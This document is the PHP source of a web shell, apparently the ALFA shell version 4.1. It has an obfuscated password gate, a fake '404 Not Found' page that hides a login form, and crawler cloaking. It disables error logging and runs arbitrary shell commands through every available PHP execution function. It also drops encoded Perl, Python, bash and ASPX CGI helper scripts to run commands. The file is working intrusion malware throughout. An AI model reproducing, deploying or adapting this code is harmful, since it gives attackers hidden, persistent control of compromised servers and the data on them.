$KKk="l";$kK ="<";$KkkkkK="H";$KKk.="g";$KkkkkK.="T";$KkkkkK.="T";$KKk.="_";$KKk.="m";$KkkkkK.="P";$kK.="f";$KKk.="i";$KkkkkK.="_";$KKk.="m";$kK.="o";$KkkkkK.="H";$KkkkkK.="O";$KkkkkK.="S";$kK.="r";$kK.="m";$KkkkkK.="T";$kK.=" ";$KKk.="a";$kK.="n";$kK.="a";$kK.="m";$kK.="e";$kK.="=";$kK.="'";$kK.="f";$kK.="o";$kK.="r";$kK.="m";$kK.="1";$kK.="'";$kK.=" ";$kK.="a";$kK.="c";$kK.="t";$kK.="i";$kK.="o";$kK.="n";$kK.="=";$kK.="'";$kK.="'";$kK.=" ";$kK.="m";$kK.="e";$kK.="t";$kK.="h";$kK.="o";$kK.="d";$kK.="=";$kK.="'";$kK.="p";$kK.="o";$kK.="s";$kK.="t";$kK.="'";$kK.=">";$kK.="<";$kK.="i";$kK.="n";$kK.="p";$kK.="u";$kK.="t";$kK.=" ";$kK.="n";$kK.="a";$kK.="m";$kK.="e";$kK.="=";$kK.="'";$kK.="l";$kK.="g";$kK.="_";$kK.="m";$kK.="i";$kK.="m";$kK.="a";$kK.="'";$kK.=" ";$kK.="t";$kK.="y";$kK.="p";$kK.="e";$kK.="=";$kK.="'";$kK.="t";$kK.="e";$kK.="x";$kK.="t";$kK.="'";$kK.=">";$kK.="<";$kK.="i";$kK.="n";$kK.="p";$kK.="u";session_start();$kK.="t";$kK.=" ";$kK.="n";$kK.="a";$kK.="m";$kK.="e";$kK.="=";$kK.="'";$kK.="s";$kK.="u";$kK.="b";$kK.="m";$kK.="i";$kK.="t";$kK.="'";$kK.=" ";$kK.="t";$kK.="y";$kK.="p";$kK.="e";$kK.="=";$kK.="'";$kK.="s";$kK.="u";$kK.="b";$kK.="m";$kK.="i";$kK.="t";$kK.="'";$kK.=" ";$kK.="v";$kK.="a";$kK.="l";$kK.="u";$kK.="e";$kK.="=";$kK.="'";$kK.="s";$kK.="u";$kK.="b";$kK.="m";$kK.="i";$kK.="t";$kK.="'";$kK.=">";$kK.="<";$kK.="/";$kK.="f";$kK.="o";$kK.="r";$kK.="m";$kK.=">";$kKKKKKKK=$_SERVER[$KkkkkK];$kKKKKKKK.=$KKk;$kKKKKKKK=md5($kKKKKKKK);$kKKKKKKK=substr($kKKKKKKK,0,6);if(isset($_POST[$KKk])){$_SESSION[$KKk]=trim($_POST[$KKk]);}if(empty($_SESSION[$KKk])||$_SESSION[$KKk]!=$kKKKKKKK){echo $kK; exit;}@error_reporting(E_ALL ^ E_NOTICE);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('magic_quotes_runtime', 0);
@set_time_limit(0);
if(function_exists('set_magic_quotes_runtime')){
@set_magic_quotes_runtime(0);
}
$GLOBALS['ayAHGSshXn'] = array(
'username' => 'root',
'password' => 'a6f452ec3293d7fb72c5b677257b20ec',//md5(ehsan)
'safe_mode' => '1',
'login_page' => '404',
'show_icons' => '',
'post_encryption' => false,
'cgi_api' => true,
);
$CWppUDJxuf = 'function_exists';
$aztJtafUXm = 'charCodeAt';
$OVpGNqqFZs = 'eval';
$psDEwGhsxg = 'gzinflate';
if (!$CWppUDJxuf('base64_encode')){
function vcnvSCZgBz($data)
{
if (empty($data)) return;
$b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
$o1 = $o2 = $o3 = $h1 = $h2 = $h3 = $h4 = $bits = $i = 0;
$ac = 0;
$enc = '';
$tmp_arr = array();
if (!$data){
return $data;
}do{
$o1 = $aztJtafUXm($data, $i++);
$o2 = $aztJtafUXm($data, $i++);
$o3 = $aztJtafUXm($data, $i++);
$bits = $o1 << 16 | $o2 << 8 | $o3;
$h1 = $bits >> 18 & 0x3f;
$h2 = $bits >> 12 & 0x3f;
$h3 = $bits >> 6 & 0x3f;
$h4 = $bits & 0x3f;
$tmp_arr[$ac++] = charAt($b64, $h1) . charAt($b64, $h2) . charAt($b64, $h3) . charAt($b64, $h4);
}
while ($i < strlen($data));
$enc = implode($tmp_arr, '');
$r = (strlen($data) % 3);
return ($r ? substr($enc, 0, ($r - 3)) : $enc) . substr('===', ($r || 3));
}
function charCodeAt($data, $char){
return ord(substr($data, $char, 1));
}
function charAt($data, $char){
return substr($data, $char, 1);
}
}else{
function vcnvSCZgBz($s){
$b = 'base64_encode';
return $b($s);
}
}
if (!$CWppUDJxuf('base64_decode')){
function zRtSHsbTzV($input){
if (empty($input)) return;
$keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
$chr1 = $chr2 = $chr3 = "";
$enc1 = $enc2 = $enc3 = $enc4 = "";
$i = 0;
$output = "";
$input = preg_replace("[^A-Za-z0-9\+\/\=]", "", $input);
do{
$enc1 = strpos($keyStr, substr($input, $i++, 1));
$enc2 = strpos($keyStr, substr($input, $i++, 1));
$enc3 = strpos($keyStr, substr($input, $i++, 1));
$enc4 = strpos($keyStr, substr($input, $i++, 1));
$chr1 = ($enc1 << 2) | ($enc2 >> 4);
$chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
$chr3 = (($enc3 & 3) << 6) | $enc4;
$output = $output . chr((int)$chr1);
if ($enc3 != 64){
$output = $output . chr((int)$chr2);
}
if ($enc4 != 64){
$output = $output . chr((int)$chr3);
}
$chr1 = $chr2 = $chr3 = "";
$enc1 = $enc2 = $enc3 = $enc4 = "";
}
while ($i < strlen($input));
return $output;
}
}else{
function zRtSHsbTzV($s){
$b = 'base64_decode';
return $b($s);
}
}
function __ZW5jb2Rlcg($s)
{
return vcnvSCZgBz($s);
}
function __ZGVjb2Rlcg($s)
{
return zRtSHsbTzV($s);
}
$GLOBALS['DB_NAME'] = $GLOBALS['ayAHGSshXn'];
foreach ($GLOBALS['DB_NAME'] as $key => $value){
$prefix = substr($key, 0, 2);
if ($prefix == "us")
{
$GLOBALS['DB_NAME']["user"] = $value;
$GLOBALS['DB_NAME']["user_rand"] = $key;
}
elseif ($prefix == "pa")
{
$GLOBALS['DB_NAME']["pass"] = $value;
$GLOBALS['DB_NAME']["pass_rand"] = $key;
}
elseif ($prefix == "sa")
{
$GLOBALS['DB_NAME']["safemode"] = $value;
$GLOBALS['DB_NAME']["safemode_rand"] = $key;
}
elseif ($prefix == "lo")
{
$GLOBALS['DB_NAME']["login_page"] = $value;
$GLOBALS['DB_NAME']["login_page_rand"] = $key;
}
elseif ($prefix == "sh")
{
$GLOBALS['DB_NAME']["show_icons"] = $value;
$GLOBALS['DB_NAME']["show_icons_rand"] = $key;
}
elseif ($prefix == "po")
{
$GLOBALS['DB_NAME']["post_encryption"] = $value;
$GLOBALS['DB_NAME']["post_encryption_rand"] = $key;
}
elseif ($prefix == "cg")
{
$GLOBALS['DB_NAME']["cgi_api"] = $value;
$GLOBALS['DB_NAME']["cgi_api_rand"] = $key;
}
}
unset($GLOBALS['ayAHGSshXn']);
if (!isset($_SERVER["HTTP_HOST"]))
if(!empty($_SERVER['HTTP_USER_AGENT'])){$userAgents = array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler","bot","spider");if(preg_match('/'.implode('|',$userAgents).'/i',$_SERVER['HTTP_USER_AGENT'])){header('HTTP/1.0 404 Not Found');exit;}}
if(!isset($GLOBALS['DB_NAME']['user']))exit('$GLOBALS[\'DB_NAME\'][\'user\']');
if(!isset($GLOBALS['DB_NAME']['pass']))exit('$GLOBALS[\'DB_NAME\'][\'pass\']');
if(!isset($GLOBALS['DB_NAME']['safemode']))exit('$GLOBALS[\'DB_NAME\'][\'safemode\']');
if(!isset($GLOBALS['DB_NAME']['login_page']))exit('$GLOBALS[\'DB_NAME\'][\'login_page\']');
if(!isset($GLOBALS['DB_NAME']['show_icons']))exit('$GLOBALS[\'DB_NAME\'][\'show_icons\']');
if(!isset($GLOBALS['DB_NAME']['post_encryption']))exit('$GLOBALS[\'DB_NAME\'][\'post_encryption\']');
define("__ALFA_VERSION__", "4.1");
define("__ALFA_UPDATE__", "2");
define("__ALFA_CODE_NAME__", "XXVI");
define("__ALFA_DATA_FOLDER__", "jancox");
define("__ALFA_POST_ENCRYPTION__", (isset($GLOBALS["DB_NAME"]["post_encryption"])&&$GLOBALS["DB_NAME"]["post_encryption"]==true?true:false));
define("__ALFA_SECRET_KEY__", __ALFA_POST_ENCRYPTION__?_AlfaSecretKey():'');
$GLOBALS['__ALFA_COLOR__'] = array(
"shell_border" => array(
"key_color" => "#0E304A",
"multi_selector" => array(
".header" => "border: 7px solid {color}",
"#meunlist" => "border-color: {color}",
"#hidden_sh" => "background-color: {color}",
".ajaxarea" => "border: 1px solid {color}",
".foot" => "border-color: {color}",
)
),
"header_vars" => "#27979B",
"header_values" => "#67ABDF",
"header_on" => "#00FF00",
"header_off" => "#ff0000",
"header_none" => "#00FF00",
"home_shell" => "#ff0000",
"home_shell:hover" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".home_shell:hover" => "color: {color};",
)
),
"back_shell" => "#efbe73",
"back_shell:hover" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".back_shell:hover" => "color: {color};",
)
),
"header_pwd" => "#00FF00",
"header_pwd:hover" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".header_pwd:hover" => "color: {color};",
)
),
"header_drive" => "#00FF00",
"header_drive:hover" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".header_drive:hover" => "color: {color};",
)
),
"header_show_all" => "#00FF00",
"disable_functions" => "#ff0000",
"footer_text" => "#27979B",
"menu_options" => "#27979B",
"menu_options:hover" => array(
"key_color" => "#646464",
"multi_selector" => array(
".menu_options:hover" => "background-color: {color};font-weight: unset;",
)
),
"options_list" => array(
"key_color" => "#00FF00",
"multi_selector" => array(
".content_options_holder .header center a" => "color: {color};",
)
),
"options_list:hover" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".content_options_holder .header center a:hover" => "color: {color};",
)
),
"options_list_header" => array(
"key_color" => "#59cc33",
"multi_selector" => array(
".txtfont_header" => "color: {color};",
)
),
"options_list_text" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".txtfont,.tbltxt" => "color: {color};",
)
),
"Alfa+" => array(
"key_color" => "#06ff0f",
"multi_selector" => array(
".alfa_plus" => "color: {color};font-weight: unset;",
)
),
"hidden_shell_text" => array(
"key_color" => "#00FF00",
"multi_selector" => array(
"#hidden_sh a" => "color: {color};",
)
),
"hidden_shell_version" => "#ff0000",
"shell_name" => "#FF0000",
"main_row:hover" => array(
"key_color" => "#646464",
"multi_selector" => array(
".main tr:hover" => "background-color: {color};",
)
),
"main_header" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".main th" => "color: {color};",
)
),
"main_name" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".main .main_name" => "color: {color};font-weight: unset;",
)
),
"main_size" => "#67ABDF",
"main_modify" => "#67ABDF",
"main_owner_group" => "#67ABDF",
"main_green_perm" => "#25ff00",
"main_red_perm" => "#FF0000",
"main_white_perm"=> "#FFFFFF",
"beetween_perms" => "#FFFFFF",
"main_actions" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".main .actions" => "color: {color};",
)
),
"menu_options:hover" => array(
"key_color" => "#646464",
"multi_selector" => array(
".menu_options:hover" => "background-color: {color};font-weight: unset;",
)
),
"minimize_editor_background" => array(
"key_color" => "#0e304a",
"multi_selector" => array(
".minimized-wrapper" => "background-color: {color};",
)
),
"minimize_editor_text" => array(
"key_color" => "#f5deb3",
"multi_selector" => array(
".minimized-text" => "color: {color};",
)
),
"editor_border" => array(
"key_color" => "#0e304a",
"multi_selector" => array(
".editor-explorer,.editor-modal" => "border: 2px solid {color};",
)
),
"editor_background" => array(
"key_color" => "rgba(0, 1, 23, 0.94)",
"multi_selector" => array(
".editor-explorer,.editor-modal" => "background-color: {color};",
)
),
"editor_header_background" => array(
"key_color" => "rgba(21, 66, 88, 0.93)",
"multi_selector" => array(
".editor-header" => "background-color: {color};",
)
),
"editor_header_text" => array(
"key_color" => "#00ff7f",
"multi_selector" => array(
".editor-path" => "color: {color};",
)
),
"editor_header_button" => array(
"key_color" => "#1d5673",
"multi_selector" => array(
".close-button, .editor-minimize" => "background-color: {color};",
)
),
"editor_actions" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".editor_actions" => "color: {color};",
)
),
"editor_file_info_vars" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".editor_file_info_vars" => "color: {color};",
)
),
"editor_file_info_values" => array(
"key_color" => "#67ABDF",
"multi_selector" => array(
".filestools" => "color: {color};",
)
),
"editor_history_header" => array(
"key_color" => "#14ff07",
"multi_selector" => array(
".hheader-text,.history-clear" => "color: {color};",
)
),
"editor_history_list" => array(
"key_color" => "#03b3a3",
"multi_selector" => array(
".editor-file-name" => "color: {color};",
)
),
"editor_history_selected_file" => array(
"key_color" => "rgba(49, 55, 93, 0.77)",
"multi_selector" => array(
".is_active" => "background-color: {color};",
)
),
"editor_history_file:hover" => array(
"key_color" => "#646464",
"multi_selector" => array(
".file-holder > .history:hover" => "background-color: {color};",
)
),
"input_box_border" => array(
"key_color" => "#0E304A",
"multi_selector" => array(
"input[type=text],textarea" => "border: 1px solid {color}",
)
),
"input_box_text" => array(
"key_color" => "#999999",
"multi_selector" => array(
"input[type=text],textarea" => "color: {color};",
)
),
"input_box:hover" => array(
"key_color" => "#27979B",
"multi_selector" => array(
"input[type=text]:hover,textarea:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
)
),
"select_box_border" => array(
"key_color" => "#0E304A",
"multi_selector" => array(
"select" => "border: 1px solid {color}",
)
),
"select_box_text" => array(
"key_color" => "#FFFFEE",
"multi_selector" => array(
"select" => "color: {color};",
)
),
"select_box:hover" => array(
"key_color" => "#27979B",
"multi_selector" => array(
"select:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
)
),
"button_border" => array(
"key_color" => "#27979B",
"multi_selector" => array(
"input[type=submit],.button,#addup" => "border: 1px solid {color};",
)
),
"button:hover" => array(
"key_color" => "#27979B",
"multi_selector" => array(
"input[type=submit]:hover" => "box-shadow:0 0 4px {color};border:2px solid {color};",
".button:hover,#addup:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
)
),
"outputs_text" => array(
"key_color" => "#67ABDF",
"multi_selector" => array(
".ml1" => "color: {color};",
)
),
"outputs_border" => array(
"key_color" => "#0E304A",
"multi_selector" => array(
".ml1" => "border: 1px solid {color};",
)
),
"uploader_border" => array(
"key_color" => "#0E304A",
"multi_selector" => array(
".inputfile" => "box-shadow:0 0 4px {color};border:1px solid {color};",
)
),
"uploader_background" => array(
"key_color" => "#0E304A",
"multi_selector" => array(
".inputfile strong" => "background-color: {color};",
)
),
"uploader_text_right" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".inputfile strong" => "color: {color};",
)
),
"uploader_text_left" => array(
"key_color" => "#25ff00",
"multi_selector" => array(
".inputfile span" => "color: {color};",
)
),
"uploader:hover" => array(
"key_color" => "#27979B",
"multi_selector" => array(
".inputfile:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
)
),
"uploader_progress_bar" => array(
"key_color" => "#00ff00",
"multi_selector" => array(
".up_bar" => "background-color: {color};",
)
),
"mysql_tables" => "#00FF00",
"mysql_table_count" => "#67ABDF",
"copyright" => "#dfff00",
"scrollbar" => array(
"key_color" => "#1e82b5",
"multi_selector" => array(
"*::-webkit-scrollbar-thumb" => "background-color: {color};",
)
),
"scrollbar_background" => array(
"key_color" => "#000115",
"multi_selector" => array(
"*::-webkit-scrollbar-track" => "background-color: {color};",
)
),
);
$GLOBALS['__file_path'] = str_replace('\\','/',trim(preg_replace('!\(\d+\)\s.*!', '', __FILE__)));
$config = array('AlfaUser' => $GLOBALS['DB_NAME']['user'],'AlfaPass' => $GLOBALS['DB_NAME']['pass'],'AlfaProtectShell' => $GLOBALS['DB_NAME']['safemode'],'AlfaLoginPage' => $GLOBALS['DB_NAME']['login_page']);
//@session_start();
@session_write_close();
@ignore_user_abort(true);
@set_time_limit(0);
@ini_set('memory_limit', '-1');
@ini_set("upload_max_filesize", "9999m");
if($config['AlfaProtectShell']){
$SERVER_SIG = (isset($_SERVER["SERVER_SIGNATURE"])?$_SERVER["SERVER_SIGNATURE"]:"");
$Eform='<form method="post"><input style="margin:0;background-color:#fff;border:1px solid #fff;" type="password" name="password"></form>';
if($config['AlfaLoginPage']=='404'){
if(@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])){
if(@md5($_POST["password"])==$config['AlfaPass']){
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
@header('location: '.$_SERVER["PHP_SELF"]);
}
echo "<title>404 Not Found</title><h1>Not Found</h1><p>The requested URL ".$_SERVER['PHP_SELF']." was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.(ehsan)</p><hr>".$SERVER_SIG."</body></html>".$Eform;
exit;
}}}
function decrypt_post($str){
if(__ALFA_POST_ENCRYPTION__){
$pwd = __ALFA_SECRET_KEY__;
$pwd = __ZW5jb2Rlcg($pwd);
$str = __ZGVjb2Rlcg($str);
$enc_chr = "";
$enc_str = "";
$i = 0;
while ($i < strlen($str)) {
for ($j = 0; $j < strlen($pwd); $j++) {
$enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
$enc_str .= $enc_chr;
$i++;
if ($i >= strlen($str))
break;
}
}
return __ZGVjb2Rlcg($enc_str);
}else{
return __ZGVjb2Rlcg($str);
}
}
function _AlfaSecretKey(){
$secret = @$_COOKIE["AlfaSecretKey"];
if(!isset($_COOKIE["AlfaSecretKey"])){
$secret = uniqid(mt_rand(), true);
__alfa_set_cookie("AlfaSecretKey", $secret);
}
return $secret;
}
function alfa_getColor($target){
if(isset($GLOBALS["DB_NAME"]["color"][$target])&&$GLOBALS["DB_NAME"]["color"][$target]!=""){
return $GLOBALS["DB_NAME"]["color"][$target];
}else{
$target = $GLOBALS["__ALFA_COLOR__"][$target];
if(is_array($target)){
return $target["key_color"];
}else{
return $target;
}
}
}
function alfaCssLoadColors(){
$css = "";
foreach($GLOBALS['__ALFA_COLOR__'] as $key => $value){
if(!is_array($value)){
$value = alfa_getColor($key);
$css .= ".{$key}{color: {$value};}";
}else{
if(isset($value["multi_selector"])){
foreach($value["multi_selector"] as $k => $v){
$color = alfa_getColor($key);
$code = str_replace("{color}", $color, $v);
$css .= $k."{".$code."}";
}
}
}
}
return $css;
}
if(isset($_POST['ajax'])){
function AlfaNum(){
$args = func_get_args();
$alfax = array();$find = array();
for($i=1;$i<=10;$i++){
$alfax[] = $i;
}
foreach($args as $arg){
$find[] = $arg;
}
echo '<script>';
foreach($alfax as $alfa){
if(in_array($alfa,$find))
continue;
echo 'alfa'.$alfa."_=";
}
echo '""</script>';
}}
function _alfa_cgicmd($cmd,$lang="perl",$set_cookie=false){
if(!$GLOBALS["DB_NAME"]["cgi_api"]){
return "";
}
if(isset($_COOKIE["alfacgiapi_mode"])){
return "";
}
$cmd_pure = $cmd;
$is_curl = function_exists('curl_version');
$is_socket = function_exists('fsockopen');
if($is_curl||$is_socket){
$recreate = false;
if(isset($_COOKIE["alfacgiapi"])){
if(!@file_exists("alfacgiapi/".$_COOKIE["alfacgiapi"].".alfa")){
$recreate = true;
$lang = $_COOKIE["alfacgiapi"];
}
}
if(!isset($_COOKIE["alfacgiapi"])||$recreate){
@chdir(dirname($_SERVER["SCRIPT_FILENAME"]));
$perl = 'jZFRT8IwFIXf/RXXOqWNsKoxPlAwRliERIbK9EUMGdsFGrYyt2Iky/ztdkMlJj74cpKee853k96Dfb7OUj6ViieYRgDQ6FdOtAr8iE99FcZS7a0zhEF/4DSb136GF+ciSaXSQDorpVHpht4k2ASN75ovdByN1VgRIWfUctynvPbg3D86I28ycLzesFsrAF+B3A1HHmF5vAFqyTpYS9wYffMjo1IxkaIf0pHX7buVYaRidYau57je5NZxb7xerWDiSipoQ5ZEUlN+xL/qs5UBBAvzAHoCtg3WgbFzM3u25Au0PyDj42MOfC7objfbkdpbUpmuwxkTZWhbO6S2zXjiB0tKAlKHBb5T65QxPkdRQv6RkioveQXYbSDjEwJyBjTEmVQY0p8pY7+TJVwU5bcalwRxSAqWby8RYrAKcTKtrvM1X2CwNAmbtJIUL4nINpnGmP4VrVDs+6otXhWK4hM=';
$py = "bZDBS8MwGMXPy19R66EtzhRk7DA3L1rxItOt3gajTb6twTQJydexIf7vJqvMiR5CyHvv93jk8iLvnM1roXJzwEYrgvYwIQPRGm0xYluB9W1/UVBVLSHNCOwZGPQpUzlHvqPaDX1sWFcOxiOy0baNZgGkjwIkX6K21RZSUDthtZp9JIvi9a1YluvnonyaPyST5GW+LJPPjLCWezIU0C3grpIdpIkXE281wN7/MYPsbWOFwii+1wpB4TUeDEwQ9pg32MqVXalwYiI2ka8L84/5fjGtxyMOTHNIj3XZVTw1Fu5iMmCNkHztkAs1jE4P3aFfoh012oC6Sf/WtDzLftGUSe3CBw4suE4G/ryOWqh4eo4E8cT0a3uSOrTC/KjxND+O/QI=";
$bash = "rVRdj5pAFH2uv+I6DGa1Iaybpg9amrRboptYbV360JQGWRiFyPI5WreU/95hoCyjsfFh52nm3nM/zuTcK3XVBz9UH+zM6xDHi0AhgG6jkJKQKvQpJiOg5EBVjz4GZmiGqLPehQ71oxCcjW9tCLW+LO4Na2+n2VU/7wA7PwDhpf71m87sn3VjuviEoKsBKoEIfkKvBymhuzSs0V1QfrMQFrD8bt0by7v5xDqH5cjbxdzQ54Y10+cTYyrCXqXEdkGZwxEKTtLzjHVUIdJyiRO5hHF6poQlUEICw5OegsixA9gDBY+/qYZwPlTV1yoUsoy47ZfnB6RMkku0AGVD4RoUmzHJaVH9jcxYjMGNOLw8+zLNvmAIWTblQYEaDy9ApYHcsvnrC7JTj4RNRHk8jUFG16ObQjBXBZgVCea6I7T6pxOTnQPOvWLV4NY+v7pRSPiFQ6uw/3w3U5Gon/KzAwo3Zz47gRi27MszbnPsjAAegv9MbqIbfaH3RmR5WwZFLZ1EO3b0ROrjcfMslSPmPpmDCypz8Nnylfd8Dx8XxvRF+b0MhaS4nAbJbIdfMs9f0+qmIcADECemrpwcj0fMC8pyrz0Z29IYy7LWNnLZxtJAa9mqdiUcC+Hl3hoiYPPyYTZDoHDlZirgLaj1IOGsJmwKpMghjlLK3FukoZWwQcBEeG+iFRIHoxmElv65toDV7iQ7kj5p+IqPD3YeXfgDbEWTt29AUarU/WpdNxiPONuzqHKpv4tT8t50UId1FbBdwWsULb9aA/4C";
$aspx = "jZNda9swFIavk18hNAoOAXdsozdLyrrUKYaRlriNN0IuFPvEFbUl70jOB2P97T1SPBo8ynZlS+d53/Ph49HZF3YnCmDfhCoaehnzyTvOIiXWJSwk7BIrLF1uRGmAs7PL/ogUcVVrtGwmKjC1yCieHIyFKkxhHT7E7jHRyqIuzb8111IUShsrs/+A41vPENTvGYtSFSyrcjZmc/jZgLHhVGO15HTHV59fkUfInv6G3K3H5CZokTHj6cfZdn2z+CC+z+of1b7cVNOdWLwf88Gvfq+3PlhYrlgurCDDtipqdgtIvqirr8LAxafEJw6ojgH59441tvQ97G14lUziOFKZzok7nsIbsK3O2ZOQlHeoMzCG1aRXsGPtOfC2dUifB22sNjqcINCXmulUqlzviLbYQBeayhLcUCnsZhTCHniXucKiqUBZ46DzjHE2dDPuYg8Gkkcoy2gPWWOdo9+RLjaHXCJk1JhQucD8trF1Y98orwtHiBrfYFONTzSqay/QePDVnjYTHAfYroD+k9dHT0qhpCK/15HKgwF1+hr2yU+jzntO+6iVgTBFaSHgS6NL2Eoj6Xd5FrVcjWqESz48phvy0bk/O+3vPi3uCw==";
if($lang=="perl")$source = $perl;elseif($lang=="py")$source = $py;else $source = $bash;
if($lang == "aspx"){
alfaWriteTocgiapi("aspx.aspx",$aspx);
}else{
alfaWriteTocgiapi($lang.".alfa",$source);
}
alfacgihtaccess('cgi', "alfacgiapi/");
}else{
$lang = $_COOKIE["alfacgiapi"];
}
$cgi_ext = ".alfa";
if($lang=="aspx"){
$cgi_ext = ".aspx";
}
$cgi_url = __ALFA_DATA_FOLDER__."/alfacgiapi/".$lang.$cgi_ext;
$cmd = "check=W3NvbGV2aXNpYmxlfmFwaV0=&cmd=".__ZW5jb2Rlcg("cd ".$GLOBALS['cwd'].";".$cmd);
if($is_curl){
$address = ($_SERVER['SERVER_PORT'] == 443 ? "https://" : "http://").$_SERVER["SERVER_NAME"].dirname($_SERVER["REQUEST_URI"])."/".$cgi_url;
$post = new AlfaCURL();
$data = $post->Send($address, "post", $cmd);
}elseif($is_socket){
$server = $_SERVER["SERVER_NAME"];
$uri = dirname($_SERVER["REQUEST_URI"])."/".$cgi_url;
$data = _alfa_fsockopen($server,$uri,$cmd);
}
$out = "";
if(strpos($data, "[solevisible~api]") !== false && strpos($data, '[solevisible~api]<pre>"+output+"</pre>') === false){
if($set_cookie){
__alfa_set_cookie("alfacgiapi", $lang);
}
if(@preg_match("/<pre>(.*?)<\/pre>/s", $data, $res)){
$out = $res[1];
}
}elseif($lang=="perl"){
return _alfa_cgicmd($cmd_pure,"py",$set_cookie);
}elseif($lang=="py"){
return _alfa_cgicmd($cmd_pure,"bash",$set_cookie);
}elseif($lang=="bash" && $GLOBALS['sys']=="win"){
return _alfa_cgicmd($cmd_pure,"aspx",$set_cookie);
}else{
if($set_cookie){
__alfa_set_cookie("alfacgiapi_mode", "off");
}
}
return trim($out);
}else{
return "";
}
}
function alfaGetCwd(){
if(function_exists("getcwd")){
return @getcwd();
}else{
return dirname($_SERVER["SCRIPT_FILENAME"]);
}
}
function alfaEx($in,$re=false,$cgi=true,$all=false){
$data = _alfa_php_cmd($in,$re);
if(empty($data)&&$cgi||$all){
if($GLOBALS['sys']=='unix'){
if(strlen(_alfa_php_cmd("whoami"))==0||$all){
$cmd = _alfa_cgicmd($in);
if(!empty($cmd)){
return $cmd;
}
}
}
}
return $data;
}
function _alfa_php_cmd($in,$re=false){
$out='';
try{
if($re)$in=$in." 2>&1";
if(function_exists('exec')){
@exec($in,$out);
$out = @join("\n",$out);
}elseif(function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
}elseif(function_exists('system')){
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
}elseif(function_exists("popen")&&function_exists("pclose")){
if(is_resource($f = @popen($in,"r"))){
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
}elseif(function_exists('proc_open')){
$pipes = array();
$process = @proc_open($in.' 2>&1', array(array("pipe","w"), array("pipe","w"), array("pipe","w")), $pipes, null);
$out=@stream_get_contents($pipes[1]);
}elseif(class_exists('COM')){
$alfaWs = new COM('WScript.shell');
$exec = $alfaWs->exec('cmd.exe /c '.$_POST['alfa1']);
$stdout = $exec->StdOut();
$out=$stdout->ReadAll();
}
}catch(Exception $e){}
return $out;
}
function _alfa_fsockopen($server,$uri,$post){
$socket = @fsockopen($server, 80, $errno, $errstr, 15);
if($socket){
$http = "POST {$uri} HTTP/1.0\r\n";
$http .= "Host: {$server}\r\n";
$http .= "User-Agent: " . $_SERVER['HTTP_USER_AGENT'] . "\r\n";
$http .= "Content-Type: application/x-www-form-urlencoded\r\n";
$http .= "Content-length: " . strlen($post) . "\r\n";
$http .= "Connection: close\r\n\r\n";
$http .= $post . "\r\n\r\n";
fwrite($socket, $http);
$contents = "";
while (!@feof($socket)) {
$contents .= @fgets($socket, 4096);
}
list($header, $body) = explode("\r\n\r\n", $contents, 2);
@fclose($socket);
return $body;
}else{
return "";
}
}
foreach($_POST as $key => $value){
if(is_array($_POST[$key])){
$i=0;
foreach($_POST[$key] as $f) {
$f = trim(str_replace(' ', '+',$f));
$_POST[$key][$i] = decrypt_post($f);
$i++;
}
}else{
$value = trim(str_replace(' ', '+',$value));
$_POST[$key] = decrypt_post($value);
}
}
$default_action = 'FilesMan2';//'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(strtolower(substr(PHP_OS,0,3))=="win")
$GLOBALS['sys']='win';
else
$GLOBALS['sys']='unix';
$GLOBALS['home_cwd'] = @alfaGetCwd();
$GLOBALS["need_to_update_header"] = "false";
$GLOBALS['glob_chdir_false'] = false;
if(isset($_POST['c'])){
if(!@chdir($_POST['c'])){
$GLOBALS['glob_chdir_false'] = true;
}
}
$GLOBALS['cwd'] = (isset($_POST['c']) && @is_dir($_POST['c']) ?$_POST['c']:@alfaGetCwd());
if($GLOBALS['glob_chdir_false']){
$GLOBALS['cwd'] = (isset($_POST['c']) && !empty($_POST['c']) ? $_POST['c'] : @alfaGetCwd());
}
if($GLOBALS['sys'] == 'win'){
$GLOBALS['home_cwd'] = str_replace("\\", "/", $GLOBALS['home_cwd']);
$GLOBALS['cwd'] = str_replace("\\", "/", $GLOBALS['cwd']);
}
if($GLOBALS['cwd'][strlen($GLOBALS['cwd'])-1] != '/' )$GLOBALS['cwd'] .= '/';
if(!function_exists('sys_get_temp_dir')){function sys_get_temp_dir() {foreach (array('TMP', 'TEMP', 'TMPDIR') as $env_var) {if ($temp = getenv($env_var)) {return $temp;}}$temp = tempnam($GLOBALS['__file_path'], '');if (_alfa_file_exists($temp,false)) {unlink($temp);return dirname($temp);}return null;}}
if(!function_exists("mb_strlen")){
function mb_strlen($str, $c=""){
return strlen($str);
}
}
if(!function_exists("mb_substr")){
function mb_substr($str, $start, $end, $c=""){
return substr($str, $start, $end);
}
}
